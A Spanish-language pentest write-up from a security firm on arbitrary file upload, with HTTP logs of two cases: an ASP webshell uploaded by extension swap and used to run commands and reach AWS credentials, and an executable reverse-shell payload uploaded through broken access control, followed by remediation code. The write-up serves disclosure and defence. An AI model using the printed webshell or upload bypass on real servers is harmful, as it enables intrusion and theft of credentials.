Imaginemos el servidor como una fortaleza. En su interior se guardan datos valiosos y accesos a lugares críticos, empero ¿Qué pasa si esa fortaleza tiene una puerta trasera, oculta y aparentemente inofensiva por donde cualquier intruso puede entrar? Esto es lo que sucede con una vulnerabilidad conocida como Arbitrary File Upload.
El proceso es tan sencillo como engañar al sistema para que acepte un archivo aparentemente inocente, pero con una carga peligrosa oculta dentro. Una vez que el atacante logra subir ese archivo, no solo tiene acceso al sistema, sino que puede ejecutar cualquier comando o script de forma remota, llevando a cabo una serie de acciones que van desde el robo de información crítica hasta el control total del servidor. Es como permitir que un desconocido entre a tu casa con una mochila llena de herramientas para hacer lo que quiera.
En este artículo, exploraremos dos casos reales de cómo un atacante puede explotar esta vulnerabilidad y cómo se puede mitigar para proteger tus sistemas.
Primer caso 1. Subida de Archivos Maliciosos con Ejecución Remota de Código
Detalles
El equipo de seguridad de Hackmetrix identificó una vulnerabilidad en un sistema web que permite a un atacante subir archivos maliciosos al servidor con la posibilidad de ejecutar código de manera remota y obtener acceso completo al sistema.
Primeramente, iniciamos sesión como un usuario regular en la plataforma.
HTTP Request:
POST /api/auth/authenticate HTTP/1.1
Host: web-vulnerable.com
Cookie: mycookie=zqhb[REDACTED]bvn; cookies=true; same-site-cookie=foo; cross-site-cookie=bar
User-Agent: Mozilla/5.0 (Macintosh; [REDACRED]; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 763
Origin: https://web-vulnerable.com
Referer: https://web-vulnerable.com/login.aspx
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
{"UserName":"S_TEST","Password":"3k88F6h5g5%w","Captcha":"03AFcW[REDACTED]_gaiWyq4pgSw"}
HTTP Response:
HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: Token-Expired
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000
Date: Wed, 27 Mar 2024 12:00:35 GMT
Connection: close
Content-Length: 559
{“value”:{“tk”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bm[REDACTED]bHXxt7em949qZdu_Y”,”rt”:”8zpS8276/f3nH9/wLev+1SqLu3qVj3zIQAPlg0jRNTg=”},”formatters”:[],”contentTypes”:[],”declaredType”:null,”statusCode”:null}
Una vez iniciamos sesión en la plataforma fue posible identificar un apartado denominado mi perfil donde se encuentran distintas funcionalidades para especificar Información del usuario.
En este punto, se logra visualizar la funcionalidad que permite establecer una imagen para un usuario regular la cual cuenta con opción de Seleccionar un archivo y Cargar un archivo. En este escenario un usuario malintencionado procedería a evaluar las validaciones de la carga de archivos para determinar si cabe la posibilidad de ser un vector de ataque para el ingreso al servidor.
Posteriormente, seleccionamos un archivo de imagen como prueba para evaluar las solicitudes realizadas por la aplicación.
Subiendo una imagen arbitraria
Así se genera la siguiente solicitud donde ha sido incluido nuestro archivo.
HTTP Request:
POST /api/uploadFile/ HTTP/1.1
Host: web-vulnerable.com
Cookie: mycookie=zqhb[REDACTED]bvn; cookies=true; same-site-cookie=foo; cross-site-cookie=bar; .ASPAC=C59EB47[REDACTED]32C
User-Agent: Mozilla/5.0 (Macintosh; [REDACTED]; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bm[REDACTED]bHXxt7em949qZdu_Y
Content-Type: multipart/form-data; boundary=---------------------------1587851622574403690682674125
Content-Length: 6226
Origin: https://web-vulnerable.com
Referer: https://web-vulnerable.com/index.aspx
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
-----------------------------1587851622574403690682674125
Content-Disposition: form-data; name="archivo"; filename="8ab733d3df1e451f830c2c5609d8273e.png"
Content-Type: image/png
[REDACTED]
-----------------------------1587851622574403690682674125
Content-Disposition: form-data; name="par "
true
-----------------------------1587851622574403690682674125
Content-Disposition: form-data; name="Name"
8ab733d3df1e451f830c2c5609d8273e.png
-----------------------------1587851622574403690682674125--
HTTP Response:
HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000
Date: Wed, 27 Mar 2024 12:03:05 GMT
Connection: close
Content-Length: 103
{"filename":"8ab733d3df1e451f830c2c5609d8273e.png","Ruta":"/Temp/8ab733d3df1e451f830c2c5609d8273e.png"}
Una vez se procesa la solicitud, procedemos a cargar el archivo.
HTTP Request:
POST /index.aspx/uploadAvatar HTTP/1.1
Host: web-vulnerable.com
Cookie: mycookie=zqhb[REDACTED]bvn; cookies=true; same-site-cookie=foo; cross-site-cookie=bar; .ASPAC=C59EB47[REDACTED]32C
User-Agent: Mozilla/5.0 (Macintosh; [REDACTED]; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bm[REDACTED]bHXxt7em949qZdu_Y
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 76
Origin: https://web-vulnerable.com
Referer: https://web-vulnerable.com/index.aspx
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
{"archivo":"/Temp/8ab733d3df1e451f830c2c5609d8273e.png",extension:"png"}
HTTP Response:
HTTP/1.1 200 OK
Cache-Control: private, max-age=0,no-store
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000
Date: Wed, 27 Mar 2024 12:08:30 GMT
Connection: close
Content-Length: 59
{"d":"/images/avatars/20240327070830.png"}
Con la segunda opción (Cargar Archivo) contamos con la posibilidad de modificar la extensión del archivo. Por lo tanto, decidimos cambiar la extensión de un archivo de imagen .png a .txt y, al mismo tiempo, inyectamos una webshell en código ASP.
<%response.write CreateObject(“WScript.Shell”).Exec(Request.QueryString(“cmd”)).StdOut.Readall()%>
La solicitud con los cambios realizados es la siguiente:
HTTP Request:
POST /api/uploadFile/ HTTP/1.1
Host: web-vulnerable.com
Cookie: mycookie=zqhb[REDACTED]bvn; cookies=true; same-site-cookie=foo; cross-site-cookie=bar; .ASPAC=C59EB47[REDACTED]32C
User-Agent: Mozilla/5.0 (Macintosh; [REDACTED]; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Authorization: Bearer Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bm[REDACTED]bHXxt7em949qZdu_Y
Content-Type: multipart/form-data; boundary=---------------------------1854199961501254523731331088
Content-Length: 590
Origin: https://web-vulnerable.com
Referer: https://web-vulnerable.com/index.aspx
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Hackmetrix-Pentest: true
-----------------------------1854199961501254523731331088
Content-Disposition: form-data; name="archivo"; filename="testhackmetrix.txt"
Content-Type: image/png
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
-----------------------------1854199961501254523731331088
Content-Disposition: form-data; name="par"
true
-----------------------------1854199961501254523731331088
Content-Disposition: form-data; name="Name"
8ab733d3df1e451f830c2c5609d8273e.png
-----------------------------1854199961501254523731331088--
HTTP Response:
HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000
Date: Wed, 27 Mar 2024 12:12:08 GMT
Connection: close
Content-Length: 85
{"filename":"8ab733d3df1e451f830c2c5609d8273e.png","Ruta":"/Temp/testhackmetrix.txt"}
Modificamos la extensión a “.asp” y cargamos nuevamente el archivo.
HTTP Request:
POST /index.aspx/uploadAvatar HTTP/1.1
Host: web-vulnerable.com
Cookie: mycookie=zqhb[REDACTED]bvn; cookies=true; same-site-cookie=foo; cross-site-cookie=bar; .ASPAC=C59EB47[REDACTED]32C
User-Agent: Mozilla/5.0 (Macintosh; [REDACTED]; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Authorization: Bearer Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bm[REDACTED]bHXxt7em949qZdu_Y
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 58
Origin: https://web-vulnerable.com
Referer: https://web-vulnerable.com/index.aspx
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Hackmetrix-Pentest: true
{"rutaArchivo":"/Temp/testhackmetrix.txt",extension:"asp"}
HTTP Response:
HTTP/1.1 200 OK
Cache-Control: private, max-age=0,no-store
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000
Date: Wed, 27 Mar 2024 12:12:42 GMT
Connection: close
Content-Length: 59
{"d":"/images/avatars/20240327071242.asp"}
Al guardar la webshell tenemos la capacidad de ejecutar comandos de forma remota en el servidor, así que comenzamos a recopilar información del servidor, como el usuario actual y sus permisos.
HTTP Request:
GET /images/avatars/20240327071242.asp?cmd=ipconfig HTTP/1.1
Host: web-vulnerable.com
Cookie: mycookie=zqhb[REDACTED]bvn; cookies=true; same-site-cookie=foo; cross-site-cookie=bar; .ASPAC=C59EB47[REDACTED]32C
User-Agent: Mozilla/5.0 (Macintosh; [REDACTED]; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: image/avif,image/webp,*/*
Accept-Language: es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://web-vulnerable.com/Index.aspx
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
HTTP Response:
HTTP/1.1 200 OK
Cache-Control: private,no-store
Pragma: no-cache
Content-Type: text/html
Vary: Accept-Encoding
Server: RGC-Activa-IT
Set-Cookie: ASPSESSIONID=HF[REDACTED]MLD; secure; path=/
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000
Date: Wed, 27 Mar 2024 12:13:00 GMT
Connection: close
Content-Length: 762
Windows IP Configuration
Ethernet adapter Ethernet 5:
Connection-specific DNS Suffix . : ec2.internal
Link-local IPv6 Address . . . . . : fe80::485b:8ffd:53eb:ad3b%16
IPv4 Address. . . . . . . . . . . : 172.30.0.47
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 172.30.0.1
Ethernet adapter Ethernet 4:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Ethernet:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Tunnel adapter [REDACTED].ec2.internal:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : ec2.internal
El equipo de OffSec encontró información sensible como credenciales de AWS, que estaban almacenadas en la ruta “C:\AWSS3\credentials”.
[PerfilSoportes]
aws_access_key_id = AKI[REDACTED]5I
aws_secret_access_key = k7NC[REDACTED]dhc
Usamos la herramienta EnumerateIAM con la cual descubrimos que estas credenciales tenían privilegios de administrador para la gestión de servicios en AWS.
Enumerate IAM
Utilizando estas credenciales, un atacante podía acceder a recursos críticos como información almacenada en los buckets de S3 y más, comprometiendo los servicios internos pertenecientes a la infraestructura.
Listando archivos de buckets
Debido a la posibilidad de poder subir archivos arbitrarios y maliciosos al servidor, pudimos tener acceso completo al servidor y exponer información sensible como credenciales, bases de datos y backups, lo que conlleva a un compromiso total de la infraestructura.
Caso 2. Subida de archivos maliciosos y ejecución de código remoto en los dispositivos de usuarios
Detalles
En este segundo caso, aunque un atacante no lograría ejecutar código en el servidor, sí era capaz de subir archivos maliciosos que podrían ser descargados por otros usuarios, lo que abre otro vector de ataque: ejecución de código malicioso en dispositivos de usuarios.
Para este caso, el equipo de OffSec contaba previamente con la vulnerabilidad Broken Access Control, que permitió a un usuario sin privilegios realizar acciones administrativas.
Aprovechando la vulnerabilidad Broken Access Control, accedimos a la sección de Documento Archivo.
Editando apartado Documento archivo
Procedimos a subir un archivo .exe que contenía un payload para establecer una conexión remota con la máquina atacante.
Subiendo archivo
Usamos Burp Suite para interceptar y modificar la solicitud, confirmando que se podía subir el archivo malicioso.
HTTP Request:
POST /web/api/archivo HTTP/2
Host: web-vulnerable.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI[REDACTED]A6rv4eMGBieC_w
Content-Length: 98768
Origin: https://web-vulnerable.com
Dnt: 1
Referer: https://web-vulnerable.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
{"idarchivo":32,"empresa":9,"documento":7,"archivo":"data:application/x-ms-dos-executable;base64,TVqQAAMAAAAEAAAA[REDACTED]","url":"archivo/6222023121046PM.exe","fechainicio":"2021-02-22","accion":2,"usuario":"pentest","extensionarchivo":"exe","nombrearchivo":"6222023121046PM"}
Se puede observar que se sube de manera exitosa
HTTP Response:
HTTP/2 200 OK
Date: Thu, 22 Jun 2023 18:12:08 GMT
Content-Type: application/json; charset=utf-8
Vary: Origin
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://web-vulnerable.com
X-Powered-By: ASP.NET
Cf-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jFuCFBw0RoUPiLKf9bqWqy97OqNH2sPGkNTOSgcOx5j%2B4Pz7FQOMCUGIBxPzFg2%2B%2B5krD3XWQGGSZF5Ifc%2B0OHjvVeF4zFh8SB2BsuBPgfC%2F%2BrBSsyUR%2FlfsY58OdaxmaIzx5hLiETd%2FROQ%3D"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
Cf-Ray: 7db6752fbc53479d-DFW
{"statusCode":200,"message":"Registro actualizado correctamente","id":34,"data":null}
Posteriormente, descargamos el archivo como un usuario administrador y lo ejecutamos en la máquina vulnerable.
Descargando archivo como administrador
Al ejecutar el archivo, conseguimos establecer la conexión remota con la máquina atacante.
Acceso a la máquina víctima
Este escenario demuestra cómo una vulnerabilidad aparentemente inofensiva, como la subida de archivos, puede dar pie a ataques serios si no se gestiona adecuadamente.
Remediación en ASP/ASP.NET
Para prevenir ataques de Arbitrary File Upload que puedan comprometer la seguridad del servidor y de otros usuarios, se recomienda implementar las siguientes medidas de seguridad en aplicaciones ASP y ASP.NET:
- Validación de archivos: Asegurarse de que solo se suban archivos que sean estrictamente necesarios (.jpg, .png, etc.) y evita permitir la carga de archivos con extensiones como .asp, .php, .exe o .txt si no son requeridos.
- Rechazar archivos con nombres duplicados o ejecutables: Renombrar automáticamente los archivos cargados con nombres aleatorios para evitar subida de archivos maliciosos con nombres específicos.
A continuación se deja un ejemplo de código con una lista blanca para verificar las extensiones de archivos permitidos en el servidor. Este código debe ser tomado como un ejemplo y no como una implementación universal, pues entendemos que cada caso es particular.
<%
' Archivos permitidos
Dim allowedExtensions
allowedExtensions = Array(".jpg", ".jpeg", ".png", ".gif", ".pdf")
' Ruta de archivos
Dim uploadPath
uploadPath = Server.MapPath("/uploads/")
' Comprobar si se ha enviado un archivo
If Request.TotalBytes > 0 Then
Dim fileName, fileExt
fileName = Request("file").FileName
fileExt = LCase(Right(fileName, Len(fileName) - InStrRev(fileName, ".")))
' Verificar si la extensión del archivo es permitida
Dim isValidExt
isValidExt = False
For i = 0 To UBound(allowedExtensions)
If allowedExtensions(i) = "." & fileExt Then
isValidExt = True
Exit For
End If
Next
' Si la extensión no es válida, rechazar la carga
If Not isValidExt Then
Response.Write("Tipo de archivo no permitido.")
Response.End()
End If
' Verificar que el archivo no esté vacío y que no sea un archivo ejecutable
Dim uploadedFile
Set uploadedFile = Request("file")
' Comprobar si el archivo es válido y su tamaño es razonable
If uploadedFile.ContentLength > 0 And uploadedFile.ContentLength <= 5242880 Then
Dim uniqueFileName
uniqueFileName = "file_" & Replace(CStr(Now), ":", "") & "_" & fileName
uploadedFile.SaveAs(uploadPath & uniqueFileName)
Response.Write("Archivo cargado exitosamente: " & uniqueFileName)
Else
Response.Write("El archivo es demasiado grande o no es válido.")
Response.End()
End If
Else
Response.Write("No se ha seleccionado ningún archivo.")
End If
%>
Conclusión
La presencia de vulnerabilidades como “Arbitrary File Upload” puede ser devastadora para cualquier infraestructura. Un pequeño descuido en el manejo de archivos subidos puede abrir la puerta a ataques que comprometen datos sensibles, credenciales y recursos críticos. Para evitarlo, es crucial contar con un equipo de expertos que realice auditorías de seguridad y pruebas de penetración.
En Hackmetrix, nuestro equipo de Ethical Hackers está listo para identificar estas vulnerabilidades. No pongas en riesgo tu infraestructura ni tus datos.
Escrito por: Juan David Fernández
Appsec Engineer en Hackmetrix
Otras vulnerabilidades que te gustaría conocer y prevenir: